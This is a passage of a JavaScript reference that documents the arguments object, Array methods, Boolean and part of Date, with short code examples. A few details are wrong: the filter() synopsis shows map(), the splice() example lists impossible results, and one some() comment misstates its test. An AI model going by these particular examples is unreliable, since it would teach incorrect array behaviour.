Description

The `arguments[]` array is defined only within a function body. Within the body of a function, `arguments` refers to the Arguments object for the function. This object has numbered properties and serves as an array containing all arguments passed to the function. The `arguments` identifier is essentially a local variable automatically declared and initialized within every function. It refers to an Arguments object only within the body of a function and is undefined in global code.

See Also

`Arguments`; Chapter 8

Arguments

arguments and other properties of a function — Object → Arguments

Synopsis

```
arguments
arguments[n]
```

Elements

The Arguments object is defined only within a function body. Although it is not technically an array, the Arguments object has numbered properties that function as array elements and a `length` property that specifies the number of array elements. Its elements are the values that are passed as arguments to the function. Element 0 is the first argument, element 1 is the second argument, and so on. All values passed as arguments become array elements of the

Arguments object, whether or not those arguments are given names in the function declaration.

Properties

`callee`
: A reference to the function that is currently executing.

`length`
: The number of arguments passed to the function and the number of array elements in the Arguments object.

Description

When a function is invoked, an Arguments object is created for it, and the local variable `arguments` is automatically initialized to refer to that Arguments object. The main purpose of the Arguments object is to provide a way to determine how many arguments are passed to the function and to refer to unnamed arguments. In addition to the array elements and `length` property, however, the `callee` property allows an unnamed function to refer to itself.

For most purposes, the Arguments object can be thought of as an array with the addition of the `callee` property. However, it is not an instance of Array, and the `Arguments.length` property does not have any of the special behaviors of the `Array.length` property and cannot be used to change the size of the array.

In non-strict mode, the Arguments object has one *very* unusual feature. When a function has named arguments, the array elements of the Arguments object are synonyms for the local variables that hold the function arguments. The Arguments object and the argument names provide two different ways of referring to the same variable. Changing the value of an argument with an argument name changes the value that is retrieved through the Arguments object, and changing the value of an argument through the Arguments object changes the value that is retrieved by the argument name.

See Also

`Function`; Chapter 8

Arguments.callee

not defined in strict mode

the function that is currently running

Synopsis

```
arguments.callee
```

Description

`arguments.callee` refers to the function that is currently running. It provides a way for an unnamed function to refer to itself. This property is defined only within a function body.

Example

```
// An unnamed function literal uses the callee property to refer
// to itself so that it can be recursive
var factorial = function(x) {
    if (x < 2) return 1;
    else return x * arguments.callee(x-1);
}
var y = factorial(5);  // Returns 120
```

Arguments.length

the number of arguments passed to a function

Synopsis

```
arguments.length
```

Description

The `length` property of the Arguments object specifies the number of arguments passed to the current function. This property is defined only within a function body.

Note that this property specifies the number of arguments actually passed, not the number expected. See `Function.length` for the number of declared arguments. Note also that this property does not have any of the special behavior of the `Array.length` property.

Example

```
// Use an Arguments object to check that correct # of args were passed
function check(args) {
    var actual = args.length;           // The actual number of arguments
    var expected = args.callee.length;  // The expected number of arguments
    if (actual != expected) {           // Throw exception if they don't match
        throw new Error("Wrong number of arguments: expected: " +
                        expected + "; actually passed " + actual);
    }
}
// A function that demonstrates how to use the function above
function f(x, y, z) {
    check(arguments);  // Check for correct number of arguments
    return x + y + z;  // Now do the rest of the function normally
}
```

See Also

`Array.length`, `Function.length`

Array

built-in support for arrays — Object → Array

Constructor

```
new Array()
new Array(size)
new Array(element0, element1, ..., elementn)
```

Arguments

size
: The desired number of elements in the array. The returned array has its `length` field set to *size*.

element0, ... elementn
: An argument list of two or more arbitrary values. When the `Array()` constructor is invoked with these arguments, the newly created array is initialized with the specified argument values as its elements and its `length` field set to the number of arguments.

Returns

The newly created and initialized array. When `Array()` is invoked with no arguments, the returned array is empty and has a `length` field of 0. When invoked with a single numeric argument, the constructor returns an array with the specified number of undefined elements. When invoked with any other arguments, the constructor initializes the array with the values specified by the arguments. When the `Array()` constructor is called as a function, without the `new` operator, it behaves exactly as it does when called with the `new` operator.

Throws

`RangeError`
: When a single integer *size* argument is passed to the `Array()` constructor, a `RangeError` exception is thrown if *size* is negative or is larger than $2^{32}-1$.

Literal Syntax

ECMAScript v3 specifies an array literal syntax. You may also create and initialize an array by placing a comma-separated list of expressions within square brackets. The values of these expressions become the elements of the array. For example:

```
var a = [1, true, 'abc'];
var b = [a[0], a[0]*2, f(x)];
```

Properties

`length`
: A read/write integer specifying the number of elements in the array or, when the array does not have contiguous elements, a number one larger than the index of the last element in the array. Changing the value of this property truncates or extends the array.

Methods

The methods `every()`, `filter()`, `forEach()`, `indexOf()`, `lastIndexOf()`, `map()`, `reduce()`, `reduceRight()`, and `some()` are new in ECMAScript 5 but were implemented by browsers other than IE before ES5 was standardized.

`concat()`
: Concatenates elements to an array.

`every()`
: Test whether a predicate is true for every array element.

`filter()`
: Return array elements that satisfy a predicate function.

`forEach()`
: Invoke a function for each element of the array.

`indexOf()`
: Search an array for a matching element.

`join()`
: Converts all array elements to strings and concatenates them.

`lastIndexOf()`
: Search backward through an array.

`map()`
: Compute new array elements from the elements of this array.

`pop()`
: Removes an item from the end of an array.

`push()`
: Pushes an item to the end of an array.

`reduce()`
: Compute a value from the elements of this array.

`reduceRight()`
: Reduce this array from right-to-left.

`reverse()`
: Reverses, in place, the order of the elements of an array.

`shift()`
: Shifts an element off the beginning of an array.

`slice()`
: Returns a subarray slice of an array.

`some()`
: Test whether a predicate is true for at least one element of this array.

`sort()`
: Sorts, in place, the elements of an array.

`splice()`
: Inserts, deletes, or replaces array elements.

`toLocaleString()`
: Converts an array to a localized string.

`toString()`
: Converts an array to a string.

`unshift()`
: Inserts elements at the beginning of an array.

Description

Arrays are a basic feature of JavaScript and are documented in detail in Chapter 7.

See Also

Chapter 7

Array.concat()

concatenate arrays

Synopsis

```
array.concat(value, ...)
```

Arguments

`value, ...`
: Any number of values to be concatenated with *`array`*.

Returns

A new array, which is formed by concatenating each of the specified arguments to *`array`*.

Description

`concat()` creates and returns a new array that is the result of concatenating each of its arguments to *`array`*. It does not modify *`array`*. If any of the arguments to `concat()` is itself an array, the elements of that array are concatenated, rather than the array itself.

Example

```
var a = [1,2,3];
a.concat(4, 5)          // Returns [1,2,3,4,5]
a.concat([4,5]);        // Returns [1,2,3,4,5]
a.concat([4,5],[6,7])   // Returns [1,2,3,4,5,6,7]
a.concat(4, [5,[6,7]])  // Returns [1,2,3,4,5,[6,7]]
```

See Also

`Array.join()`, `Array.push()`, `Array.splice()`

Array.every()

ECMAScript 5

test whether a predicate is true for every element

Synopsis

```
array.every(predicate)
array.every(predicate, o)
```

Arguments

predicate
: A predicate function to test array elements

o
: The optional `this` value for invocations of *predicate*.

Returns

`true` if `predicate` returns `true` (or any truthy value) for every element of *array* or `false` if the predicate returns `false` (or a falsy value) for any element.

Description

The `every()` method tests whether some condition holds for all elements of an array. It loops through the elements of *array*, in ascending order, and invokes the specified *predicate* function on each element in turn. If *predicate* returns `false` (or any value that converts to `false`), then `every()` stops looping and returns `false` immediately. If every invocation of *predicate* returns `true`, then `every()` returns `true`. When invoked on an empty array, `every()` returns `true`.

For each array index `i`, *predicate* is invoked with three arguments:

```
predicate(array[i], i, array)
```

The return value of *predicate* is interpreted as a boolean value. `true` and all truthy values indicate that the array element passes the test or meets the condition described by that function. A return value of `false` or any falsy value means that the array element does not pass the test.

See `Array.forEach()` for further details.

Example

```
[1,2,3].every(function(x) { return x < 5; }) // => true: all elts are < 5
[1,2,3].every(function(x) { return x < 3; }) // => false: all elts are not < 3
[].every(function(x) { return false; });     // => true: always true for []
```

See Also

`Array.filter()`, `Array.forEach()`, `Array.some()`

Array.filter()

ECMAScript 5

return array elements that pass a predicate

Synopsis

```
array.map(predicate)
array.map(predicate, o)
```

Arguments

predicate
: The function to invoke to determine whether an element of *array* will be included in the returned array.

o
: An optional value on which *predicate* is invoked.

Returns

A new array containing only those elements of *array* for which *predicate* returned `true` (or a truthy value).

Description

`filter()` creates a new array and then populates it with the elements of *array* for which the *predicate* function returns `true` (or a truthy value). The `filter()` method does not modify *array* itself (though the *predicate* function may do so).

`filter()` loops through the indexes of *array*, in ascending order, and invokes *predicate* once for each element. For an index `i`, *predicate* is invoked with three arguments,

```
predicate(array[i], i, array)
```

If *predicate* returns `true` or a truthy value, then the element at index `i` of *array* is appended to the newly created array. Once `filter()` has tested each element of *array* it returns the new array.

See `Array.forEach()` for further details.

Example

```
[1,2,3].filter(function(x) { return x > 1; });  // => [2,3]
```

See Also

`Array.every()`, `Array.forEach()`, `Array.indexOf()`, `Array.map()`, `Array.reduce()`

Array.forEach() ECMAScript 5

invoke a function for each array element

Synopsis

```
array.forEach(f)
array.forEach(f, o)
```

Arguments

f
: The function to invoke for each element of *array*.

o
: An optional value on which *f* is invoked.

Returns

This method returns nothing.

Description

`forEach()` loops through the indexes of *array*, in ascending order, and invokes *f* once for each element. For an index `i`, *f* is invoked with three arguments:

```
f(array[i], i, array)
```

The return value, if any, of *f* is ignored. Note that `forEach()` does not have a return value. In particular, it does not return *array*.

Array Method Details

The following details apply to the `forEach()` method, and also to the related methods `map()`, `filter()`, `every()`, and `some()`.

Each of these methods expects a function as its first argument and accepts an optional second argument. If a second argument *o* is specified, then the function is invoked as if it was a method of *o*. That is, within the body of the function, `this` will evaluate to *o*. If the second argument is not specified, then the function is invoked as a function (not a method) and `this` will be the global object in non-strict code or `null` in strict code.

Each of these methods notes the length of *array* before it begins looping. If the invoked function appends new elements to *array*, those newly-added elements will not be looped over. If the function alters existing elements that have not yet been looped over, it is the altered values that will be passed.

When invoked on sparse arrays, these methods do not invoke the function for indexes at which no element actually exists.

Example

```
var a = [1,2,3];
a.forEach(function(x,i,a) { a[i]++; });  // a is now [2,3,4]
```

See Also

`Array.every()`, `Array.filter()`, `Array.indexOf()`, `Array.map()`, `Array.reduce()`

Array.indexOf() ECMAScript 5

search an array

Synopsis

```
array.indexOf(value)
array.indexOf(value, start)
```

Arguments

value
: The value to search *array* for.

start
: An optional array index at which to begin the search. If omitted, 0 is used.

Returns

The lowest index >= *start* of *array* at which the element is `===` to *value*, or -1 if no such matching element exists.

Description

This method searches *array* for an element that is equal to *value*, and returns the index of the first element it finds. The search begins at the array index specified by *start*, or at index 0, and continues with successively higher indexes until a match is found or all elements have been checked. The `===` operator is used to test equality. The return value is the index of the first matching element found, or -1 if no match is found.

Example

```
['a','b','c'].indexOf('b')    // => 1
['a','b','c'].indexOf('d')    // => -1
['a','b','c'].indexOf('a',1)  // => -1
```

See Also

`Array.lastIndexOf()`, `String.indexOf()`

Array.join()

concatenate array elements to form a string

Synopsis

```
array.join()
array.join(separator)
```

Arguments

separator
: An optional character or string used to separate one element of the array from the next in the returned string. If this argument is omitted, a comma is used.

Returns

The string that results from converting each element of *array* to a string and then concatenating them together, with the *separator* string between elements.

Description

`join()` converts each element of an array to a string and then concatenates those strings, inserting the specified *separator* string between the elements. It returns the resulting string.

You can perform a conversion in the opposite direction—splitting a string into array elements—with the `split()` method of the String object. See `String.split()` for details.

Example

```
a = new Array(1, 2, 3, "testing");
s = a.join("+");  // s is the string "1+2+3+testing"
```

See Also

`String.split()`

Array.lastIndexOf()

ECMAScript 5

search backward through an array

Synopsis

```
array.lastIndexOf(value)
array.lastIndexOf(value, start)
```

Arguments

value
: The value to search *array* for.

start
: An optional array index at which to begin the search. If omitted, the search begins with the last element of the array.

Returns

The highest index <= *start* of *array* at which the element is === to *value*, or -1 if no such matching element exists.

Description

This method searches backward through successively lower elements of *array* for an element that is equal to *value*, and returns the index of the first such element it finds. If *start* is specified, it is used as the starting position for the search; otherwise the search begins at the end of the array. The === operator is used to test equality. The return value is the index of the first matching element found, or -1 if no match is found.

See Also

`Array.indexOf()`, `String.lastIndexOf()`

Array.length

the size of an array

Synopsis

```
array.length
```

Description

The `length` property of an array is always one larger than the index of the highest element defined in the array. For traditional "dense" arrays that have contiguous elements and begin with element 0, the `length` property specifies the number of elements in the array.

The `length` property of an array is initialized when the array is created with the `Array()` constructor method. Adding new elements to an array updates the `length`, if necessary:

```
a = new Array();                        // a.length initialized to 0
b = new Array(10);                      // b.length initialized to 10
c = new Array("one", "two", "three");   // c.length initialized to 3
c[3] = "four";                          // c.length updated to 4
c[10] = "blastoff";                     // c.length becomes 11
```

You can set the value of the `length` property to change the size of an array. If you set `length` to be smaller than its previous value, the array is truncated, and elements at the end are lost. If you set `length` to be larger than its previous value, the array becomes bigger, and the new elements added at the end of the array have the `undefined` value.

Array.map() ECMAScript 5

compute new array elements from old

Synopsis

```
array.map(f)
array.map(f, o)
```

Arguments

f

The function to invoke for each element of *array*. Its return values become elements of the returned array.

o

An optional value on which *f* is invoked.

Returns

A new array with elements computed by the function *f*.

Description

`map()` creates a new array with the same length as *array*, and computes the elements of this new array by passing the elements of *array* to the function *f*. `map()` loops through the indexes of *array*, in ascending order, and invokes *f* once for each element. For an index `i`, *f* is invoked with three arguments, and its return value is stored at index `i` of the newly created array:

```
a[i] = f(array[i], i, array)
```

Once `map()` has passed each element of *array* to *f* and has stored the results in the new array, it returns that new array.

See `Array.forEach()` for further details.

Example

```
[1,2,3].map(function(x) { return x*x; });  // => [1,4,9]
```

See Also

`Array.every()`, `Array.filter()`, `Array.forEach()`, `Array.indexOf()`, `Array.reduce()`

Array.pop()

remove and return the last element of an array

Synopsis

array`.pop()`

Returns

The last element of *array*.

Description

`pop()` deletes the last element of *array*, decrements the array length, and returns the value of the element that it deleted. If the array is already empty, `pop()` does not change the array and returns the `undefined` value.

Example

`pop()`, and its companion method `push()`, provide the functionality of a first-in, last-out stack. For example:

```
var stack = [];       // stack: []
stack.push(1, 2);     // stack: [1,2]     Returns 2
stack.pop();            // stack: [1]       Returns 2
stack.push([4,5]);      // stack: [1,[4,5]] Returns 2
stack.pop()             // stack: [1]       Returns [4,5]
stack.pop();            // stack: []        Returns 1
```

See Also

`Array.push()`

Array.push()

append elements to an array

Synopsis

array`.push(`*value*`, ...)`

Arguments

value, ...
: One or more values to be appended to the end of *array*.

Returns

The new length of the array, after the specified values are appended to it.

Description

`push()` appends its arguments, in order, to the end of *`array`*. It modifies *`array`* directly, rather than creating a new array. `push()`, and its companion method `pop()`, use arrays to provide the functionality of a first in, last out stack. See `Array.pop()` for an example.

See Also

`Array.pop()`

Array.reduce() ECMAScript 5

compute a value from the elements of an array

Synopsis

```
array.reduce(f)
array.reduce(f, initial)
```

Arguments

`f`
: A function that combines two values (such as two array elements) and returns a new "reduced" value.

`initial`
: An optional initial value to seed the array reduction with. If this argument is specified, `reduce()` behaves as if it had been inserted at the start of *`array`*.

Returns

The reduced value of the array, which is the return value of the last invocation of *`f`*.

Description

The `reduce()` method expects a function *`f`* as its first argument. This function should behave like a binary operator: it takes two values, performs some operation on them and returns a result. If *`array`* has `n` elements, the `reduce()` method invokes *`f`* `n-1` times to reduce those elements to a single combined value. (You may be familiar with this array reduction operation from other programming languages where it is sometimes called "fold" or "inject".)

The first invocation of *`f`* is passed the first two elements of *`array`*. Each subsequent invocation of *`f`* is passed the return value of the previous invocation and the next element (in ascending order) of *`array`*. The return value of the final invocation of *`f`* becomes the return value of the `reduce()` method itself.

`reduce()` may be invoked with an optional second argument, *`initial`*. If *`initial`* is specified, then `reduce()` behaves as if that argument has been inserted at the beginning of *`array`* (it does not actually modify *`array`*, however). Another way to say this is that if `reduce()` is invoked with two arguments, then *`initial`* is used as if it had previously been returned from *`f`*. In this

case, the first invocation of *f* is passed *initial* and the first element of *array*. When *initial* is specified, there are n+1 elements to reduce (n elements of *array*, plus the *initial* value) and *f* is invoked n times.

If *array* is empty and *initial* is not specified, reduce() throws a TypeError. If *array* is empty and *initial* is specified, then reduce() returns *initial* and never calls *f*. If *array* has only a single element and *initial* is not specified, then reduce() returns the single element of *array* without calling *f*.

The paragraphs above describe two arguments to *f*, but reduce() actually invokes that function with four arguments. The third argument is the array index of the second argument. The fourth argument is *array* itself. *f* is always invoked as a function, not as a method.

Example

```
[1,2,3,4].reduce(function(x,y) { return x*y; })  // => 24: ((1*2)*3)*4
```

See Also

Array.forEach(), Array.map(), Array.reduceRight()

Array.reduceRight() ECMAScript 5

reduce an array from right-to-left

Synopsis

```
array.reduceRight(f)
array.reduceRight(f, initial)
```

Arguments

f
: A function that combines two values (such as two array elements) and returns a new "reduced" value.

initial
: An optional initial value to seed the array reduction with. If this argument is specified, reduceRight() behaves as if it had been inserted at the end of *array*.

Returns

The reduced value of the array, which is the return value of the last invocation of *f*.

Description

reduceRight() works like the reduce() method: it invokes the function *f* n-1 times to reduce the n elements of *array* to a single value. reduceRight() differs from reduce() only in that it enumerates array elements from right to left (from highest index to lowest) rather than left to right. See Array.reduce() for details.

Example

```
[2, 10, 60].reduceRight(function(x,y) { return x/y })  // => 3: (60/10)/2
```

See Also

`Array.reduce()`

Array.reverse()

reverse the elements of an array

Synopsis

```
array.reverse()
```

Description

The `reverse()` method of an Array object reverses the order of the elements of an array. It does this *in place*: it rearranges the elements of the specified *array* without creating a new array. If there are multiple references to *array*, the new order of the array elements is visible through all references.

Example

```
a = new Array(1, 2, 3);    // a[0] == 1, a[2] == 3;
a.reverse();               // Now a[0] == 3, a[2] == 1;
```

Array.shift()

shift array elements down

Synopsis

```
array.shift()
```

Returns

The former first element of the array.

Description

`shift()` removes and returns the first element of *array*, shifting all subsequent elements down one place to occupy the newly vacant space at the start of the array. If the array is empty, `shift()` does nothing and returns the `undefined` value. Note that `shift()` does not create a new array; instead, it modifies *array* directly.

`shift()` is similar to `Array.pop()`, except it operates on the beginning of an array rather than the end. `shift()` is often used in conjunction with `unshift()`.

Example

```
var a = [1, [2,3], 4]
a.shift();  // Returns 1; a = [[2,3], 4]
a.shift();  // Returns [2,3]; a = [4]
```

See Also

`Array.pop()`, `Array.unshift()`

Array.slice()

return a portion of an array

Synopsis

array.slice(*start*, *end*)

Arguments

start

The array index at which the slice is to begin. If negative, this argument specifies a position measured from the end of the array. That is, –1 indicates the last element, –2 indicates the next from the last element, and so on.

end

The array index immediately after the end of the slice. If not specified, the slice includes all array elements from the *start* to the end of the array. If this argument is negative, it specifies an array element measured from the end of the array.

Returns

A new array that contains the elements of *array* from the element specified by *start*, up to, but not including, the element specified by *end*.

Description

slice() returns a slice, or subarray, of *array*. The returned array contains the element specified by *start* and all subsequent elements up to, but not including, the element specified by *end*. If *end* is not specified, the returned array contains all elements from the *start* to the end of *array*.

Note that slice() does not modify the array. If you want to actually remove a slice of an array, use Array.splice().

Example

```
var a = [1,2,3,4,5];
a.slice(0,3);    // Returns [1,2,3]
a.slice(3);      // Returns [4,5]
a.slice(1,-1);   // Returns [2,3,4]
a.slice(-3,-2);  // Returns [3]; buggy in IE 4: returns [1,2,3]
```

Bugs

start can't be a negative number in Internet Explorer 4. This is fixed in later versions of IE.

See Also

Array.splice()

Array.some()

ECMAScript 5

test whether a predicate is true for any element

Synopsis

```
array.some(predicate)
array.some(predicate, o)
```

Arguments

predicate
: A predicate function to test array elements

o
: The optional `this` value for invocations of *`predicate`*.

Returns

`true` if `predicate` returns `true` (or a truthy value) for at least one element of *`array`* or `false` if the predicate returns `false` (or a falsy value) for all elements.

Description

The `some()` method tests whether a condition holds for at least one element of an array. It loops through the elements of *`array`*, in ascending order, and invokes the specified *`predicate`* function on each element in turn. If *`predicate`* returns `true` (or a value that converts to `true`), then `some()` stops looping and returns `true` immediately. If every invocation of *`predicate`* returns `false` (or a value that converts to `false`), then `some()` returns `false`. When invoked on an empty array, `some()` returns `false`.

This method is very much like `every()`. See `Array.every()` and `Array.forEach()` for further details.

Example

```
[1,2,3].some(function(x) { return x > 5; }) // => false: no elts are > 5
[1,2,3].some(function(x) { return x > 2; }) // => true: some elts are > 3
[].some(function(x) { return true; });      // => false: always false for []
```

See Also

`Array.every()`, `Array.filter()`, `Array.forEach()`

Array.sort()

sort the elements of an array

Synopsis

```
array.sort()
array.sort(orderfunc)
```

Arguments

orderfunc
An optional function used to specify the sorting order.

Returns

A reference to the array. Note that the array is sorted in place, and no copy is made.

Description

The `sort()` method sorts the elements of *array* in place: no copy of the array is made. If `sort()` is called with no arguments, the elements of the array are arranged in alphabetical order (more precisely, the order determined by the character encoding). To do this, elements are first converted to strings, if necessary, so that they can be compared.

If you want to sort the array elements in some other order, you must supply a comparison function that compares two values and returns a number indicating their relative order. The comparison function should take two arguments, *a* and *b*, and should return one of the following:

- A value less than zero, if, according to your sort criteria, *a* is less than *b* and should appear before *b* in the sorted array.
- Zero, if *a* and *b* are equivalent for the purposes of this sort.
- A value greater than zero, if *a* is greater than *b* for the purposes of the sort.

Note that undefined elements of an array are always sorted to the end of the array. This is true even if you provide a custom ordering function: undefined values are never passed to the *orderfunc* you supply.

Example

The following code shows how you might write a comparison function to sort an array of numbers in numerical, rather than alphabetical order:

```
// An ordering function for a numerical sort
function numberorder(a, b) { return a - b; }
a = new Array(33, 4, 1111, 222);
a.sort();               // Alphabetical sort: 1111, 222, 33, 4
a.sort(numberorder);    // Numerical sort: 4, 33, 222, 1111
```

Array.splice()

insert, remove, or replace array elements

Synopsis

```
array.splice(start, deleteCount, value, ...)
```

Arguments

start
The array element at which the insertion and/or deletion is to begin.

deleteCount
: The number of elements, starting with and including *start*, to be deleted from *array*. Specify 0 to insert elements without deleting any.

value, ...
: Zero or more values to be inserted into *array*, beginning at the index specified by *start*.

Returns

An array containing the elements, if any, deleted from *array*.

Description

`splice()` deletes zero or more array elements starting with and including the element *start* and replaces them with zero or more values specified in the argument list. Array elements that appear after the insertion or deletion are moved as necessary so that they remain contiguous with the rest of the array. Note that, unlike the similarly named `slice()`, `splice()` modifies *array* directly.

Example

The operation of `splice()` is most easily understood through an example:

```
var a = [1,2,3,4,5,6,7,8]
a.splice(1,2);      // Returns [2,3]; a is [1,4]
a.splice(1,1);      // Returns [4]; a is [1]
a.splice(1,0,2,3);  // Returns []; a is [1 2 3]
```

See Also

`Array.slice()`

Array.toLocaleString()

convert an array to a localized string — Overrides Object.toLocaleString()

Synopsis

array`.toLocaleString()`

Returns

A localized string representation of *array*.

Throws

`TypeError`
: If this method is invoked on an object that is not an Array.

Description

The `toLocaleString()` method of an array returns a localized string representation of an array. It does this by calling the `toLocaleString()` method of all of the array elements, then concatenating the resulting strings using a locale-specific separator character.

See Also

`Array.toString()`, `Object.toLocaleString()`

Array.toString()

convert an array to a string — Overrides Object.toString()

Synopsis

array`.toString()`

Returns

A string representation of *array*.

Throws

`TypeError`
: If this method is invoked on an object that is not an Array.

Description

The `toString()` method of an array converts an array to a string and returns the string. When an array is used in a string context, JavaScript automatically converts it to a string by calling this method. On some occasions, however, you may want to call `toString()` explicitly.

`toString()` converts an array to a string by first converting each array element to strings (by calling its `toString()` method). Once each element is converted to a string, `toString()` outputs them in a comma-separated list. This return value is the same string that would be returned by the `join()` method with no arguments.

See Also

`Array.toLocaleString()`, `Object.toString()`

Array.unshift()

insert elements at the beginning of an array

Synopsis

array`.unshift(`*value*`, ...)`

Arguments

value, ...
: One or more values that are inserted at the start of *array*.

Returns

The new length of the array.

Download from Wow! eBook <www.wowebook.com>

Description

`unshift()` inserts its arguments at the beginning of *array*, shifting the existing elements to higher indexes to make room. The first argument to `shift()` becomes the new element 0 of the array; the second argument, if any, becomes the new element 1; and so on. Note that `unshift()` does not create a new array; it modifies *array* directly.

Example

`unshift()` is often used in conjunction with `shift()`. For example:

```
var a = [];             // a:[]
a.unshift(1);           // a:[1]          Returns: 1
a.unshift(22);          // a:[22,1]       Returns: 2
a.shift();              // a:[1]          Returns: 22
a.unshift(33,[4,5]);    // a:[33,[4,5],1] Returns: 3
```

See Also

`Array.shift()`

Boolean

support for boolean values — Object → Boolean

Constructor

```
new Boolean(value) // Constructor function
Boolean(value)     // Conversion function
```

Arguments

value
: The value to be held by the Boolean object or to be converted to a boolean value.

Returns

When invoked as a constructor with the `new` operator, `Boolean()` converts its argument to a boolean value and returns a Boolean object that contains that value. When invoked as a function, without the `new` operator, `Boolean()` simply converts its argument to a primitive boolean value and returns that value.

The values 0, `NaN`, `null`, the empty string `""`, and the `undefined` value are all converted to `false`. All other primitive values, except `false` (but including the string "false"), and all objects and arrays are converted to `true`.

Methods

`toString()`
: Returns "true" or "false", depending on the boolean value represented by the Boolean object.

`valueOf()`
: Returns the primitive boolean value contained in the Boolean object.

Description

Boolean values are a fundamental datatype in JavaScript. The Boolean object is an object wrapper around the boolean value. This Boolean object type exists primarily to provide a `toString()` method to convert boolean values to strings. When the `toString()` method is invoked to convert a boolean value to a string (and it is often invoked implicitly by JavaScript), JavaScript internally converts the boolean value to a transient Boolean object, on which the method can be invoked.

See Also

`Object`

Boolean.toString()

convert a boolean value to a string — Overrides Object.toString()

Synopsis

```
b.toString()
```

Returns

The string "true" or "false", depending on the value of the primitive boolean value or Boolean object *b*.

Throws

`TypeError`
: If this method is invoked on an object that is not a Boolean.

Boolean.valueOf()

the boolean value of a Boolean object — Overrides Object.valueOf()

Synopsis

```
b.valueOf()
```

Returns

The primitive boolean value held by the Boolean object *b*.

Throws

`TypeError`
: If this method is invoked on an object that is not a Boolean.

Date

manipulate dates and times — Object → Date

Constructor

```
new Date()
new Date(milliseconds)
new Date(datestring)
new Date(year, month, day, hours, minutes, seconds, ms)
```

With no arguments, the `Date()` constructor creates a Date object set to the current date and time. When one numeric argument is passed, it is taken as the internal numeric representation of the date in milliseconds, as returned by the `getTime()` method. When one string argument is passed, it is a string representation of a date, in the format accepted by the `Date.parse()` method. Otherwise, the constructor is passed between two and seven numeric arguments that specify the individual fields of the date and time. All but the first two arguments—the year and month fields—are optional. Note that these date and time fields are specified using local time, not Coordinated Universal Time (UTC) (which is similar to Greenwich Mean Time [GMT]). See the static `Date.UTC()` method for an alternative.

`Date()` may also be called as a function, without the `new` operator. When invoked in this way, `Date()` ignores any arguments passed to it and returns a string representation of the current date and time.

Arguments

milliseconds
: The number of milliseconds between the desired date and midnight on January 1, 1970 (UTC). For example, passing the argument 5000 creates a date that represents five seconds past midnight on 1/1/70.

datestring
: A single argument that specifies the date and, optionally, the time as a string. The string should be in a format accepted by `Date.parse()`.

year
: The year, in four-digit format. For example, specify `2001` for the year 2001. For compatibility with early implementations of JavaScript, if this argument is between 0 and 99, 1900 is added to it.

month
: The month, specified as an integer from 0 (January) to 11 (December).

day
: The day of the month, specified as an integer from 1 to 31. Note that this argument uses 1 as its lowest value, while other arguments use 0 as their lowest value. Optional.

hours
: The hour, specified as an integer from 0 (midnight) to 23 (11 p.m.). Optional.

minutes
: The minutes in the hour, specified as an integer from 0 to 59. Optional.

seconds
The seconds in the minute, specified as an integer from 0 to 59. Optional.

ms
The milliseconds in the second, specified as an integer from 0 to 999. Optional.

Methods

The Date object has no properties that can be read and written directly; instead, all access to date and time values is done through methods. Most methods of the Date object come in two forms: one that operates using local time and one that operates using universal (UTC or GMT) time. If a method has "UTC" in its name, it operates using universal time. These pairs of methods are listed together below. For example, the listing for `get[UTC]Day()` refers to both the methods `getDay()` and `getUTCDay()`.

Date methods may be invoked only on Date objects, and they throw a TypeError exception if you attempt to invoke them on any other type of object:

`get[UTC]Date()`
Returns the day of the month of a Date object, in local or universal time.

`get[UTC]Day()`
Returns the day of the week of a Date object, in local or universal time.

`get[UTC]FullYear()`
Returns the year of the date in full four-digit form, in local or universal time.

`get[UTC]Hours()`
Returns the hours field of a Date object, in local or universal time.

`get[UTC]Milliseconds()`
Returns the milliseconds field of a Date object, in local or universal time.

`get[UTC]Minutes()`
Returns the minutes field of a Date object, in local or universal time.

`get[UTC]Month()`
Returns the month field of a Date object, in local or universal time.

`get[UTC]Seconds()`
Returns the seconds field of a Date object, in local or universal time.

`getTime()`
Returns the internal, millisecond representation of a Date object. Note that this value is independent of time zone, and therefore, there is not a separate `getUTCTime()` method.

`getTimezoneOffset()`
Returns the difference, in minutes, between the local and UTC representations of this date. Note that the value returned depends on whether daylight saving time is or would be in effect at the specified date.

`getYear()`
Returns the year field of a Date object. Deprecated in favor of `getFullYear()`.

`set[UTC]Date()`
: Sets the day of the month field of the date, using local or universal time.

`set[UTC]FullYear()`
: Sets the year (and optionally month and day) field of the date, using local or universal time.

`set[UTC]Hours()`
: Sets the hour field (and optionally the minutes, seconds, and milliseconds fields) of the date, using local or universal time.

`set[UTC]Milliseconds()`
: Sets the milliseconds field of a date, using local or universal time.

`set[UTC]Minutes()`
: Sets the minutes field (and optionally the seconds and milliseconds fields) of a date, using local or universal time.

`set[UTC]Month()`
: Sets the month field (and optionally the day of the month) of a date, using local or universal time.

`set[UTC]Seconds()`
: Sets the seconds field (and optionally the milliseconds field) of a date, using local or universal time.

`setTime()`
: Sets the fields of a Date object using the millisecond format.

`setYear()`
: Sets the year field of a Date object. Deprecated in favor of `setFullYear()`.

`toDateString()`
: Returns a string that represents the date portion of the date, expressed in the local time zone.

`toGMTString()`
: Converts a Date to a string, using the GMT time zone. Deprecated in favor of `toUTCString()`.

`toISOString()`
: Converts a Date to a string, using the ISO-8601 standard combined date/time format and UTC.

`toJSON()`
: JSON serializes a Date object, using `toISOString()`.

`toLocaleDateString()`
: Returns a string that represents the date portion of the date, expressed in the local time zone, using the local date formatting conventions.

`toLocaleString()`
: Converts a Date to a string, using the local time zone and the local date formatting conventions.

`toLocaleTimeString()`
: Returns a string that represents the time portion of the date, expressed in the local time zone, using the local time formatting conventions.

`toString()`
: Converts a Date to a string using the local time zone.

`toTimeString()`
: Returns a string that represents the time portion of the date, expressed in the local time zone.

`toUTCString()`
: Converts a Date to a string, using universal time.

`valueOf()`
: Converts a Date to its internal millisecond format.

Static Methods

In addition to the many instance methods listed previously, the Date object also defines three static methods. These methods are invoked through the `Date()` constructor itself, not through individual Date objects:

`Date.now()`
: Returns the current time, as milliseconds since the epoch.

`Date.parse()`
: Parses a string representation of a date and time and returns the internal millisecond representation of that date.

`Date.UTC()`
: Returns the millisecond representation of the specified UTC date and time.

Description

The Date object is a datatype built into the JavaScript language. Date objects are created with the `new Date()` syntax shown earlier.

